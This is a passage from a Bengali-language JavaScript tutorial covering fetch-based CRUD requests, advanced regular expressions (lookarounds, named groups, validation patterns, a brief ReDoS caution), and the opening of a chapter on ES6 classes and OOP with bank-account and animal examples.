❌ সাধারণ HTTP 4xx/5xx status-এর জন্য সাধারণত না।
তাই:
if (!response.ok) { throw new Error("Request failed"); }
Network-level failure হলে Fetch Promise reject করতে পারে।
যেমন:
Internet disconnected DNS problem Connection failed Request aborted
এ ধরনের ক্ষেত্রে fetch() reject করতে পারে।
তাই:
try { ... } catch (error) { ... }
API debugging-এর জন্য:
এখানে দেখতে পারবে:
Frontend developer হিসেবে Network tab ভালোভাবে জানা খুব জরুরি।
ধরো API কাজ করছে না।
Network tab-এ দেখলে:
Request: POST /api/login Status: 401
তাহলে authentication-related problem হতে পারে।
অথবা:
404
হলে endpoint ভুল হতে পারে।
অথবা:
500
হলে server-side error হতে পারে।
ধরো Student Management System।
async function getStudents() { const response = await fetch("/api/students"); if (!response.ok) { throw new Error("Failed"); } return response.json(); }
async function createStudent(student) { const response = await fetch("/api/students", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify(student) }); if (!response.ok) { throw new Error("Creation failed"); } return response.json(); }
async function updateStudent(id, data) { const response = await fetch(`/api/students/${id}`, { method: "PATCH", headers: { "Content-Type": "application/json" }, body: JSON.stringify(data) }); if (!response.ok) { throw new Error("Update failed"); } return response.json(); }
async function deleteStudent(id) { const response = await fetch(`/api/students/${id}`, { method: "DELETE" }); if (!response.ok) { throw new Error("Delete failed"); } }
// READ const students = await fetch("/api/students") .then(res => res.json()); // CREATE await fetch("/api/students", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ name: "Shariar", department: "CSE" }) }); // UPDATE await fetch("/api/students/1", { method: "PATCH", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ department: "Software Engineering" }) }); // DELETE await fetch("/api/students/1", { method: "DELETE" });
React application-এ তুমি প্রায়ই করবে:
useEffect(() => {
fetch("/api/products")
.then(response => response.json())
.then(data => {
setProducts(data);
});
}, []);
অথবা:
const response = await fetch("/api/products"); const data = await response.json();
Node.js/Express backend-এর সাথে:
এটাই Full Stack development-এর core workflow-এর একটি অংশ।
এই Chapter থেকে অবশ্যই জানতে হবে:
GET POST PUT PATCH DELETE HEAD OPTIONS
200 201 204 400 401 403 404 409 422 429 500 503
fetch()
JSON.stringify()response.json()response.text()response.okresponse.statusresponse.headersOPTIONSAbortControllerconst response = await fetch("/api/users"); const data = await response.json();
await fetch("/api/users", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ name: "Shariar" }) });
await fetch("/api/users/1", { method: "PATCH", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ name: "New Name" }) });
await fetch("/api/users/1", { method: "DELETE" });
if (!response.ok) { throw new Error( `HTTP ${response.status}` ); }
const params = new URLSearchParams({ search: "laptop", page: 1 }); fetch(`/api/products?${params}`);
fetch("/api/profile", { headers: { Authorization: `Bearer ${token}` } });
const controller = new AbortController(); fetch(url, { signal: controller.signal }); controller.abort();
একটি function তৈরি করো:
getProducts()
যেটি:
/api/products
থেকে data আনবে।
একটি function:
createUser()
তৈরি করো যেটি এই data পাঠাবে:
{
name: "Shariar",
email: "shariar@example.com"
}
Product id = 10-এর শুধু price update করো:
85000
Product id = 20 delete করার function তৈরি করো।
User input:
laptop
থেকে URL তৈরি করো:
/api/products?search=laptop
এমন code লেখো যেখানে:
response.ok === false
হলে custom error throw করবে।
একটি:
Student Management API
এর জন্য frontend-side functions তৈরি করো:
getStudents() createStudent() updateStudent() deleteStudent()
Chapter 21 + 22 একসাথে করলে এখন তুমি JavaScript-এর asynchronous programming থেকে শুরু করে বাস্তব API communication পর্যন্ত একটি complete foundation তৈরি করে ফেলেছ।
পরবর্তী অধ্যায়ে আমরা জাভাস্ক্রিপ্টের অন্যতম শক্তিশালী টেক্সট প্রসেসিং ইঞ্জিন Advanced Regular Expressions (RegExp) নিয়ে বিস্তারিত শিখব—Lookaheads, Lookbehinds, Named Capturing Groups, Unicode Property Escapes, এবং বাস্তব ডেটা ভ্যালিডেশন প্যাটার্নস।
Chapter 13-এ আমরা RegExp-এর প্রাথমিক ধারণা দেখেছি। প্রফেশনাল সফটওয়্যার ইঞ্জিনিয়ারিংয়ে ব্যবহারকারীর ইনপুট ভ্যালিডেশন, টেক্সট ক্লিনিং, ইউজারনেম/ইমেইল/পাসওয়ার্ড ভেরিফিকেশন এবং সিকিউর স্যানিটাইজেশনের জন্য Advanced Regular Expressions একটি অত্যন্ত শক্তিশালী টুল।
সরাসরি Form Validation, API Data Cleaning এবং Text Analytics-এর শতভাগ নিখুঁত সমাধান তৈরি করে এই রেজেক্স আর্কিটেকচার। 🔥
Regular Expression বা Regex হলো একটি pattern language।
সহজভাবে:
ধরো:
Hello Shariar Hello Rahim Hello Karim
তুমি যদি এমন text খুঁজতে চাও যেটা:
Hello + একটি নাম
তাহলে Regex pattern ব্যবহার করতে পারো।
ধরো একটি registration form:
Email: __________ Phone: __________ Password: _______
User লিখল:
abc@xyz.com
তুমি check করতে চাও:
Regex দিয়ে pattern check করা যায়।
const pattern = /hello/;
const pattern = new RegExp("hello");
সাধারণ static pattern-এর জন্য literal বেশি convenient।
Pattern match করছে কি না দেখতে:
const pattern = /hello/; console.log(pattern.test("hello world"));
true
const pattern = /hello/; console.log(pattern.test("Hi world"));
false
const pattern = /hello/; console.log(pattern.test("Hello"));
false
কারণ:
hello
এবং:
Hello
এক নয়।
Case-insensitive করতে:
const pattern = /hello/i; console.log(pattern.test("Hello"));
true
এখন:
hello HELLO Hello hElLo
সব match করবে।
| Flag | কাজ |
|---|---|
i | Case-insensitive |
g | Global search |
m | Multiline |
s | Dot যেন newline-ও match করতে পারে |
u | Unicode-aware matching |
y | Sticky matching |
d | Match indices তৈরি করতে সাহায্য করে |
Example:
/hello/gi
মানে:
const text = "cat cat cat"; console.log( text.match(/cat/g) );
["cat", "cat", "cat"]
g না দিলে:
console.log( text.match(/cat/) );
শুধু প্রথম match-এর information পাওয়া যায়।
[abc]মানে:
a, b অথবা c—যেকোনো একটি character।console.log(/[abc]/.test("apple"));
true
কারণ apple-এ a আছে।
/[a-z]/
মানে:
a থেকে z
Example:
console.log(/[a-z]/.test("hello"));
true
console.log(/[A-Z]/.test("Hello"));
true
Number character:
console.log(/[0-9]/.test("abc5"));
true
[^...]
মানে:
Example:
/[^0-9]/
মানে:
console.log(/[^0-9]/.test("123"));
false
কিন্তু:
console.log(/[^0-9]/.test("123a"));
true
কারণ a digit নয়।
Regex-এ কিছু shortcut আছে।
\dDigit:
0-9
console.log(/\d/.test("abc5"));
true
\DNon-digit:
console.log(/\D/.test("123"));
false
\wWord character:
সাধারণত:
A-Z a-z 0-9 _
console.log(/\w/.test("hello"));
true
\WNon-word character।
\sWhitespace:
space tab newline
\SNon-whitespace।
Regex-এ:
.
সাধারণত newline ছাড়া যেকোনো একটি character match করে।
console.log(/c.t/.test("cat"));
true
এগুলোও match করতে পারে:
cat cot cut c9t
s Flag s flag ব্যবহার করলে dot newline-ও match করতে পারে।
const text = "Hello\nWorld"; console.log(/Hello.World/s.test(text));
true
Quantifier বলে:
+
*
?
{n}
{n,m}
{n,}
+ মানে:
console.log(/\d+/.test("12345"));
true
+ ছাড়া:
/\d/
শুধু একটি digit match করার concept।
* মানে:
console.log(/go*/.test("g"));
true
কারণ o zero times-ও থাকতে পারে।
এগুলো match করতে পারে:
g go goo gooo
? মানে:
/go?/.test("go");
true।
/go?/.test("g");
এটিও true।
ঠিক n বার।
/\d{4}/
মানে 4টি digit।
console.log(/\d{4}/.test("2026"));
true
Minimum n, maximum m।
/\d{2,4}/
মানে 2 থেকে 4 digit।
Match করতে পারে:
12 123 1234
Minimum n।
/\d{3,}/
মানে অন্তত 3 digit।
Pattern-এর position নির্দিষ্ট করতে anchors ব্যবহার করা হয়।
^String/line-এর শুরু।
$String/line-এর শেষ।
console.log(/^Hello/.test("Hello World"));
true
কিন্তু:
console.log(/^Hello/.test("Hi Hello"));
false
কারণ Hello শুরুতে নেই।
console.log(/World$/.test("Hello World"));
true
+ $দুটো একসাথে দিলে পুরো string match করার ধারণা পাওয়া যায়।
console.log(/^\d+$/.test("12345"));
true
কিন্তু:
console.log(/^\d+$/.test("123a"));
false
কারণ পুরো string-এ শুধু digit নেই।
মানে:
/cat|dog/
মানে:
cat অথবা dog
Example:
console.log(/cat|dog/.test("I have a dog"));
true
Group তৈরি করতে:
(...)
Example:
/(cat|dog)/
মানে:
cat অথবা dog
Regex-এর একটি অংশ আলাদা করে capture করতে পারো।
const regex = /(\d{4})-(\d{2})-(\d{2})/; const result = "2026-09-16".match(regex); console.log(result);
Conceptual output:
[
"2026-09-16",
"2026",
"09",
"16"
]
এখানে:
যদি grouping দরকার কিন্তু capture দরকার না হয়:
(?:...)
Example:
const regex = /(?:cat|dog)/;
এটি group করবে, কিন্তু capturing group তৈরি করবে না।
আরও readable করার জন্য group-এর নাম দেওয়া যায়।
const regex = /(?<year>\d{4})-(?<month>\d{2})-(?<day>\d{2})/; const result = "2026-09-16".match(regex); console.log(result.groups);
{
year: "2026",
month: "09",
day: "16"
}
এটা advanced কিন্তু real-world parsing-এ useful।
Captured group পরে আবার একই text match করতে ব্যবহার করা যায়।
Example:
const regex = /\b(\w+)\s+\1\b/i; console.log( regex.test("hello hello") );
true
এখানে:
(\w+)
প্রথম word capture করেছে।
\1
মানে:
Lookahead pattern-এর পরের অংশ check করে কিন্তু consume করে না।
X(?=Y)
মানে:
Example:
const regex = /\d+(?= USD)/; console.log( "100 USD".match(regex) );
["100"]
X(?!Y)
মানে:
Example:
const regex = /foo(?!bar)/; console.log(regex.test("foobar"));
false
কিন্তু:
console.log(regex.test("foobaz"));
true
Lookbehind সামনে নয়, আগের অংশ check করে।
(?<=X)Y
Example:
const regex = /(?<=\$)\d+/; console.log( "$100".match(regex) );
["100"]
(?<!X)Y
মানে:
Example:
const regex = /(?<!\$)\d+/; console.log( "USD 100".match(regex) );
এখানে 100 match হতে পারে কারণ এর আগে $ নেই।
Regex quantifier সাধারণত greedy।
মানে:
Example:
const text = "<b>Hello</b><b>World</b>"; console.log( text.match(/<b>.*<\/b>/) );
এখানে .* অনেক বেশি text consume করতে পারে।
Lazy করতে ? ব্যবহার করা যায়।
const text = "<b>Hello</b><b>World</b>"; console.log( text.match(/<b>.*?<\/b>/g) );
[
"<b>Hello</b>",
"<b>World</b>"
]
Text-এর মধ্যে match বের করতে:
const text = "I have 10 apples and 20 oranges."; const numbers = text.match(/\d+/g); console.log(numbers);
["10", "20"]
Multiple matches এবং capturing groups-এর information নিয়ে কাজ করতে:
const text = "ID: 101, ID: 202"; const matches = [...text.matchAll(/ID: (\d+)/g)]; for (const match of matches) { console.log(match[1]); }
101 202
matchAll() iterator return করে।
প্রথম match-এর index বের করতে:
const text = "Hello JavaScript"; console.log( text.search(/JavaScript/) );
6
কারণ JavaScript index 6 থেকে শুরু।
Regex দিয়ে text replace:
const text = "I like cats."; const result = text.replace(/cats/, "dogs"); console.log(result);
I like dogs.
+ gconst text = "cat cat cat"; const result = text.replace(/cat/g, "dog"); console.log(result);
dog dog dog
const text = "cat cat cat"; const result = text.replaceAll("cat", "dog"); console.log(result);
dog dog dog
Replacement হিসেবে function দেওয়া যায়।
const text = "10 20 30"; const result = text.replace(/\d+/g, (number) => { return Number(number) * 2; }); console.log(result);
20 40 60
একটি basic email pattern:
const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
Test:
console.log( emailRegex.test("shariar@example.com") );
true
console.log( emailRegex.test("hello") );
false
বাংলাদেশের 11-digit mobile format-এর একটি basic example:
const phoneRegex = /^01[3-9]\d{8}$/; console.log( phoneRegex.test("01712345678") );
true
এটি format validation-এর example; actual business rules অনুযায়ী validation পরিবর্তন হতে পারে।
ধরো password-এ থাকতে হবে:
const passwordRegex = /^(?=.*[A-Z])(?=.*[a-z])(?=.*\d).{8,}$/;
Test:
console.log( passwordRegex.test("Hello123") );
true
^
→ শুরু
(?=.*[A-Z])
→ অন্তত একটি uppercase
(?=.*[a-z])
→ অন্তত একটি lowercase
(?=.*\d)
→ অন্তত একটি digit
.{8,}
→ অন্তত 8 characters
$
→ শেষ
ধরো:
const strongPassword = /^(?=.*[A-Z])(?=.*[a-z])(?=.*\d)(?=.*[^A-Za-z0-9]).{8,}$/; console.log( strongPassword.test("Hello@123") );
true
ধরো:
const usernameRegex = /^[A-Za-z0-9_]{3,16}$/; console.log( usernameRegex.test("Shariar_01") );
true
const text = "I bought 2 laptops and 3 phones."; const numbers = text.match(/\d+/g); console.log(numbers);
["2", "3"]
const text = "Learning #JavaScript and #React today."; const hashtags = text.match(/#[A-Za-z0-9_]+/g); console.log(hashtags);
[
"#JavaScript",
"#React"
]
const text = "Hello JavaScript World"; const cleaned = text.replace(/\s+/g, " "); console.log(cleaned);
Hello JavaScript World
const text = "Hello! @Shariar #Developer"; const cleaned = text.replace(/[^\w\s]/g, ""); console.log(cleaned);
Hello Shariar Developer
একটি basic URL pattern:
const urlRegex = /https?:\/\/[^\s]+/g; const text = "Visit https://example.com for more info."; console.log( text.match(urlRegex) );
[
"https://example.com"
]
বাস্তব URL parsing-এর জন্য URL object অনেক ক্ষেত্রে Regex-এর চেয়ে ভালো।
const text = "Exam date: 2026-09-20"; const dateRegex = /\d{4}-\d{2}-\d{2}/; console.log( text.match(dateRegex) );
["2026-09-20"]
এই Regex:
\d{4}-\d{2}-\d{2}
এটি:
2026-99-99
এর মতো format-ও match করতে পারে।
অর্থাৎ:
তাই:
Date
দিয়ে additional validation লাগতে পারে।
Regex-এ কিছু character-এর special meaning আছে:
. * + ? ^ $ { } [ ] ( ) | \
Literal হিসেবে ব্যবহার করতে escape করতে হয়।
Example:
const regex = /\./;
এখানে .-কে literal dot হিসেবে match করা হচ্ছে।
console.log(/\./.test("example.com"));
true
Dollar sign match করতে:
/\$/
Example:
console.log(/\$100/.test("$100"));
true
\b word boundary নির্দেশ করে।
const regex = /\bcat\b/; console.log(regex.test("cat"));
true।
কিন্তু:
console.log(regex.test("category"));
false হতে পারে, কারণ cat এখানে পুরো word নয়।
Non-word-boundary।
এটি তুলনামূলকভাবে advanced এবং কম ব্যবহৃত।
m flag ব্যবহার করলে ^ এবং $ প্রতিটি line-এর beginning/end-এর সাথে কাজ করতে পারে।
const text = `Hello World`; console.log( text.match(/^World$/m) );
["World"]
Unicode-aware matching-এর জন্য u flag ব্যবহার করা যায়।
const regex = /\u{1F600}/u; console.log( regex.test("😀") );
true
Unicode নিয়ে কাজ করার সময় u এবং Unicode property escapes useful।
Modern JavaScript-এ:
\p{...}
ব্যবহার করা যায় u flag-এর সাথে।
Example:
const regex = /\p{L}+/gu; console.log( "Hello বাংলা".match(regex) );
Output conceptually:
[
"Hello",
"বাংলা"
]
এখানে \p{L} letter-এর Unicode property বোঝায়।
Unicode property দিয়ে emoji detect করা সম্ভব:
const emojiRegex = /\p{Emoji}/u; console.log( emojiRegex.test("😀") );
true
y Flagy flag match-কে lastIndex position-এ stick করে।
Example:
const regex = /\d/y; regex.lastIndex = 0; console.log( regex.test("123") );
true
y advanced parsing scenarios-এ বেশি useful।
g এবং y flag-এর সাথে lastIndex গুরুত্বপূর্ণ হতে পারে।const regex = /\d/g; console.log(regex.exec("123")); console.log(regex.exec("123"));
Result sequentially match করতে পারে।
Conceptually:
1 2
এখানে regex-এর internal position পরিবর্তিত হয়।
const regex = /\d+/; const result = regex.exec("Age: 24"); console.log(result);
Output conceptually:
[
"24",
index: 5,
input: "Age: 24"
]
exec() match-এর detailed result দেয়।
বনাম match()| Method | কাজ |
|---|---|
test() | match আছে কি না |
match() | matched text বের করা |
matchAll() | সব match + groups |
search() | প্রথম match-এর index |
replace() | text replace |
exec() | detailed match result |
ধরো:
<input id="email" type="text"> <button id="submit">Submit</button>
JavaScript:
const emailInput = document.querySelector("#email"); const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/; document .querySelector("#submit") .addEventListener("click", () => { if (emailRegex.test(emailInput.value)) { console.log("Valid email"); } else { console.log("Invalid email"); } });
Regex দিয়ে unwanted characters remove করা যায়।
const username = "Shariar@123!"; const cleaned = username.replace(/[^A-Za-z0-9_]/g, ""); console.log(cleaned);
Shariar123
Check করে:
/^[A-Za-z]+$/
Data clean/transform করে:
text.replace(...)
Regex-এর ক্ষেত্রে একটি advanced security issue আছে:
Regular Expression Denial of Service
কিছু poorly designed regex খুব complex input-এর ক্ষেত্রে অত্যন্ত slow হয়ে যেতে পারে।
বিশেষ করে nested quantifier-এর মতো dangerous pattern:
(a+)+
এর মতো pattern carefully ব্যবহার করতে হয়।
Regex দিয়ে:
খুব ভালোভাবে করা যায়।
কিন্তু complex structured data-এর জন্য অন্য tools ভালো হতে পারে।
উদাহরণ:
Regex-এর বদলে:
new URL(url)
Regex +:
Date
Regex দিয়ে HTML parser replace করা উচিত নয়।
const usernameRegex = /^[A-Za-z0-9_]{3,16}$/; const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/; const phoneRegex = /^01[3-9]\d{8}$/; const passwordRegex = /^(?=.*[A-Z])(?=.*[a-z])(?=.*\d)(?=.*[^A-Za-z0-9]).{8,}$/; function validateUser(user) { if (!usernameRegex.test(user.username)) { return "Invalid username"; } if (!emailRegex.test(user.email)) { return "Invalid email"; } if (!phoneRegex.test(user.phone)) { return "Invalid phone"; } if (!passwordRegex.test(user.password)) { return "Weak password"; } return "Registration data is valid"; } const user = { username: "Shariar_01", email: "shariar@example.com", phone: "01712345678", password: "Hello@123" }; console.log(validateUser(user));
Registration data is valid
ধরো server থেকে পেলাম:
const text = ` Name: Shariar Age: 24 Email: shariar@example.com Phone: 01712345678 `;
Email বের করি:
const email = text.match( /[^\s@]+@[^\s@]+\.[^\s@]+/ ); console.log(email[0]);
shariar@example.com
Phone:
const phone = text.match(/01[3-9]\d{8}/); console.log(phone[0]);
01712345678
যখন একটি বড় Regex দেখবে, পুরোটা একসাথে বোঝার চেষ্টা করবে না।
ধরো:
^(?=.*[A-Z])(?=.*[a-z])(?=.*\d)(?=.*[^A-Za-z0-9]).{8,}$
এটাকে ভাঙো:
এভাবেই Regex পড়তে হয়।
RegExptest()[abc] [a-z] [A-Z] [0-9] [^abc] \d \D \w \W \s \S .
+
*
?
{n}
{n,m}
{n,}
^ $ \b \B
(...) (?:...) (?<name>...)
\1 (?=...) (?!...) (?<=...) (?<!...)
test() exec() match() matchAll() search() replace() replaceAll()
g, m, s, u, ylastIndex/abc/
→ abc
/abc/i
→ case-insensitive
/abc/g
→ global
\d
→ digit
\w
→ word character
\s
→ whitespace
.
→ any character except newline by default
+
→ 1 or more
*
→ 0 or more
?
→ 0 or 1
{3}
→ exactly 3
{2,5}
→ 2–5
^
→ start
$
→ end
|
→ OR
(...)
→ capturing group
(?:...)
→ non-capturing group
(?=...)
→ positive lookahead
(?!...)
→ negative lookahead
(?<=...)
→ positive lookbehind
(?<!...)
→ negative lookbehind
\1
→ first captured group-এর backreference
এমন Regex বানাও যেটা শুধু digit accept করবে:
এমন Regex বানাও যেটা username:
3–15 characters letters numbers underscore
accept করবে।
এই text থেকে সব number বের করো:
const text = "I have 10 books, 20 pens and 5 laptops.";
Expected:
["10", "20", "5"]
এই text থেকে সব hashtag বের করো:
const text = "I love #JavaScript #React #NodeJS";
Expected:
#JavaScript #React #NodeJS
Extra spaces remove করো:
"Hello World JavaScript"
Expected:
"Hello World JavaScript"
একটি password validator বানাও যেখানে:
থাকবে।
এই string:
"ID: 101, ID: 202, ID: 303"
থেকে matchAll() ব্যবহার করে:
101 202 303
বের করো।
Regex-কে শুধু validation tool হিসেবে দেখবে না।
একজন Full Stack Developer হিসেবে Regex ব্যবহার করতে পারবে:
আর Chapter 13-এর basic RegExp + Chapter 23-এর Advanced RegExp মিলিয়ে এখন JavaScript-এর Regular Expression অংশটি অনেক বেশি complete হলো।
পরবর্তী অধ্যায়ে আমরা জাভাস্ক্রিপ্টের অন্যতম কোর পিলার Object-Oriented Programming (OOP) & ES6 Classes নিয়ে বিস্তারিত শিখব—Constructor, Prototypal Inheritance, extends & super, Private Fields (#), Static Methods এবং বাস্তব সফটওয়্যার আর্কিটেকচার ডিজাইন প্যাটার্ন।
OOP (Object-Oriented Programming) হলো আধুনিক সফটওয়্যার ইঞ্জিনিয়ারিংয়ের মূল ভিত্তি। বিশেষ করে React, Node.js, Express, NestJS, এবং large-scale enterprise application ডেভেলপমেন্টে পরিষ্কার ডেটা মডেলিং এবং মডুলার কোড স্ট্রাকচার সাজাতে ক্লাস এবং অবজেক্টের কনসেপ্ট অপরিহার্য। এই চ্যাপ্টারে আমরা একদম গ্রাউন্ড লেভেল থেকে ইন্টারনাল প্রোটোটাইপ মেকানিজম পর্যন্ত নিখুঁতভাবে শিখব।
this
Instance properties
Instance methods
Static properties/methods
Getters & Setters
extends
super()
Method overriding
Inheritance
Encapsulation
Private fields #
Polymorphism
Abstraction
Composition
instanceof
Class vs Constructor Function
Prototype-এর সাথে Class-এর সম্পর্ক
Real-world project architecture
Common mistakes
Interview questions
OOP = Object-Oriented Programming এটি এমন একটি programming approach যেখানে program-এর data এবং সেই data-এর সাথে কাজ করার functions-কে একসাথে object হিসেবে organize করা হয়। সহজভাবে: > Data + Behavior = Object
ধরো একটি Student। Student-এর data:
name id department cgpa
Student-এর behavior:
study() attendClass() takeExam()
JavaScript-এ আমরা এগুলো একটি object/class-এর মাধ্যমে organize করতে পারি।
ছোট program-এ সাধারণ function এবং object দিয়েই কাজ করা যায়। কিন্তু বড় application হলে সমস্যা হয়। ধরো university system:
Student Teacher Admin Course Department Attendance Result Payment
প্রত্যেকটির আলাদা data এবং behavior আছে। OOP ব্যবহার করলে code:
OOP-এর চারটি মূল concept:
| Pillar | সহজ অর্থ |
|---|---|
| Encapsulation | Data + Methods একসাথে রাখা এবং access control করা |
| Abstraction | প্রয়োজনীয় অংশ দেখানো, internal complexity hide করা |
| Inheritance | একটি class থেকে অন্য class-এর বৈশিষ্ট্য নেওয়া |
| Polymorphism | একই method/interface বিভিন্নভাবে কাজ করা |
মনে রাখবে: > E-A-I-P Encapsulation → Abstraction → Inheritance → Polymorphism
Object হলো key-value pair-এর collection।
const student = {
name: "Shariar",
age: 23,
department: "CSE",
study() {
console.log("Student is studying");
}
};
এখানে:
name age department
হলো data। আর:
study()
হলো behavior।
Class হলো object তৈরির একটি blueprint/template।
একটি বাড়ির blueprint ধরো:
Bedrooms Bathrooms Kitchen Garage
Blueprint নিজে বাড়ি নয়। Blueprint থেকে অনেক বাড়ি বানানো যায়। ঠিক একইভাবে:
class Student {
}
হলো blueprint। আর:
const student1 = new Student();
const student2 = new Student();
হলো সেই blueprint থেকে তৈরি objects।
class Student {
}
Object তৈরি:
const student1 = new Student();
এখানে:
Class-এর ভিতরে constructor() একটি special method। Object তৈরি হওয়ার সময় এটি automatically execute হয়।
class Student {
constructor() {
console.log("Student object created");
}
}
const student1 = new Student();
Student object created
কারণ:
new Student();
চললে constructor automatically call হয়।
এখন student-এর information পাঠাই।
class Student {
constructor(name, age) {
this.name = name;
this.age = age;
}
}
Object:
const student1 = new Student("Shariar", 23);
console.log(student1.name);
console.log(student1.age);
Shariar 23
this কী?OOP-এ this অত্যন্ত গুরুত্বপূর্ণ।
class Student {
constructor(name, age) {
this.name = name;
this.age = age;
}
}
এখানে:
this.name
মানে: > যে object তৈরি হচ্ছে, সেই object-এর name property। যখন:
const student1 = new Student("Shariar", 23);
তখন:
this
মূলত student1 object-কে refer করছে। # 🧠 সহজভাবে
this.name = name;
মানে:
object-এর name = parameter-এর name
একটি class থেকে অনেক object তৈরি করা যায়।
class Student {
constructor(name, age) {
this.name = name;
this.age = age;
}
}
const student1 = new Student("Shariar", 23);
const student2 = new Student("Rahim", 22);
const student3 = new Student("Karim", 24);
console.log(student1);
console.log(student2);
console.log(student3);
প্রতিটি object-এর নিজস্ব data থাকবে।
Class-এর ভিতরে function লিখলে সেটাকে সাধারণত method বলা হয়।
class Student {
constructor(name, age) {
this.name = name;
this.age = age;
}
introduce() {
console.log(`My name is ${this.name}`);
}
}
ব্যবহার:
const student = new Student("Shariar", 23);
student.introduce();
My name is Shariar
class Student {
constructor(name, age) {
this.name = name;
this.age = age;
}
introduce() {
console.log(`My name is ${this.name}`);
}
study() {
console.log(`${this.name} is studying`);
}
sleep() {
console.log(`${this.name} is sleeping`);
}
}
const student = new Student("Shariar", 23);
student.introduce();
student.study();
student.sleep();
My name is Shariar Shariar is studying Shariar is sleeping
class BankAccount {
constructor(owner, balance) {
this.owner = owner;
this.balance = balance;
}
deposit(amount) {
this.balance += amount;
}
withdraw(amount) {
if (amount > this.balance) {
console.log("Insufficient balance");
return;
}
this.balance -= amount;
}
showBalance() {
console.log(`Balance: ${this.balance}`);
}
}
const account = new BankAccount("Shariar", 10000);
account.deposit(5000);
account.withdraw(2000);
account.showBalance();
Balance: 13000
কারণ:
10000 + 5000 - 2000 = 13000
যে properties প্রতিটি object-এর জন্য আলাদা হয় সেগুলো instance properties।
class User {
constructor(name, email) {
this.name = name;
this.email = email;
}
}
const user1 = new User("Shariar", "shariar@example.com");
const user2 = new User("Rahim", "rahim@example.com");
এখানে:
Static property class-এর সাথে associated থাকে, individual object-এর সাথে নয়।
class User {
static role = "Student";
}
Access:
console.log(User.role);
Student
কিন্তু:
const user = new User();
console.log(user.role);
এটি undefined হবে। কারণ role object-এর property নয়।
Static method object দিয়ে নয়, class দিয়ে call করা হয়।
class MathHelper {
static add(a, b) {
return a + b;
}
}
console.log(MathHelper.add(10, 20));
30
এটা:
MathHelper.add()
দিয়ে call করতে হবে।
class User {
constructor(name) {
this.name = name;
}
static createGuest() {
return new User("Guest");
}
}
const guest = User.createGuest();
console.log(guest.name);
Guest
এখানে createGuest() একটি utility/factory-like static method।
Getter দিয়ে property-এর মতো syntax ব্যবহার করে method-এর result পাওয়া যায়।
class Rectangle {
constructor(width, height) {
this.width = width;
this.height = height;
}
get area() {
return this.width * this.height;
}
}
const rectangle = new Rectangle(10, 5);
console.log(rectangle.area);
50
খেয়াল করো:
rectangle.area
এখানে () নেই। কারণ এটি getter।
Setter দিয়ে property set করার সময় custom logic চালানো যায়।
class User {
constructor(name) {
this.name = name;
}
set username(value) {
this.name = value.trim();
}
}
const user = new User("Shariar");
user.username = " Ripon ";
console.log(user.name);
Ripon
class Person {
constructor(name) {
this._name = name;
}
get name() {
return this._name;
}
set name(value) {
if (value.length < 3) {
throw new Error("Name is too short");
}
this._name = value;
}
}
const person = new Person("Shariar");
console.log(person.name);
person.name = "Ripon";
console.log(person.name);
Encapsulation মানে data এবং behavior একসাথে রাখা এবং data access/control করা। ধরো Bank Account:
class BankAccount {
constructor(balance) {
this.balance = balance;
}
}
এখানে বাইরে থেকে সরাসরি:
account.balance = -500000;
করা সম্ভব। এটি undesirable হতে পারে। Private field ব্যবহার করা যায়।
#Modern JavaScript-এ:
class BankAccount {
#balance;
constructor(balance) {
this.#balance = balance;
}
getBalance() {
return this.#balance;
}
}
const account = new BankAccount(10000);
console.log(account.getBalance());
10000
কিন্তু:
console.log(account.#balance);
এটি SyntaxError হবে। কারণ #balance private।
Methods-ও private করা যায়।
class BankAccount {
#balance = 0;
#validateAmount(amount) {
return amount > 0;
}
deposit(amount) {
if (!this.#validateAmount(amount)) {
throw new Error("Invalid amount");
}
this.#balance += amount;
}
getBalance() {
return this.#balance;
}
}
এটি encapsulation-এর ভালো example।
Inheritance মানে একটি class অন্য class-এর properties এবং methods ব্যবহার করতে পারবে। ধরো:
Dog হলো Animal-এর একটি type।
extendsclass Animal {
eat() {
console.log("Animal is eating");
}
}
class Dog extends Animal {
bark() {
console.log("Dog is barking");
}
}
const dog = new Dog();
dog.eat();
dog.bark();
Animal is eating Dog is barking
Dog নিজের method:
bark()
পেয়েছে। Animal থেকে পেয়েছে:
eat()
super()Child class-এর constructor থাকলে parent constructor call করতে super() ব্যবহার করতে হয়।
class Animal {
constructor(name) {
this.name = name;
}
}
class Dog extends Animal {
constructor(name, breed) {
super(name);
this.breed = breed;
}
}
const dog = new Dog("Tommy", "German Shepherd");
console.log(dog.name);
console.log(dog.breed);
Tommy German Shepherd
super.method()Parent class-এর method call করতেও super ব্যবহার করা যায়।
class Animal {
speak() {
console.log("Animal makes a sound");
}
}
class Dog extends Animal {
speak() {
super.speak();
console.log("Dog barks");
}
}
const dog = new Dog();
dog.speak();
Animal makes a sound Dog barks
Child class parent-এর method নিজের মতো করে redefine করতে পারে।
class Animal {
speak() {
console.log("Animal sound");
}
}
class Dog extends Animal {
speak() {
console.log("Woof!");
}
}
const dog = new Dog();
dog.speak();
Woof!
এটাই method overriding।
Poly = many Morph = forms অর্থাৎ: > একই interface/method বিভিন্ন object-এ বিভিন্ন behavior দিতে পারে।
class Animal {
speak() {
console.log("Animal sound");
}
}
class Dog extends Animal {
speak() {
console.log("Woof!");
}
}
class Cat extends Animal {
speak() {
console.log("Meow!");
}
}
const animals = [
new Dog(),
new Cat()
];
animals.forEach(animal => {
animal.speak();
});
Woof! Meow!
একই:
animal.speak()
কিন্তু result আলাদা। এটাই polymorphism-এর basic example।
instanceofকোন object কোনো class-এর instance কিনা check করতে:
class Student {}
const student = new Student();
console.log(student instanceof Student);
true
আর:
console.log(student instanceof Array);
Output:
false
একটি realistic example:
class BankAccount {
#balance;
constructor(owner, initialBalance = 0) {
this.owner = owner;
this.#balance = initialBalance;
}
deposit(amount) {
if (amount <= 0) {
throw new Error("Invalid deposit amount");
}
this.#balance += amount;
}
withdraw(amount) {
if (amount > this.#balance) {
throw new Error("Insufficient balance");
}
this.#balance -= amount;
}
getBalance() {
return this.#balance;
}
}
const account = new BankAccount("Shariar", 10000);
account.deposit(5000);
account.withdraw(2000);
console.log(account.getBalance());
Output:
13000
এখানে একসাথে ব্যবহার হয়েছে:
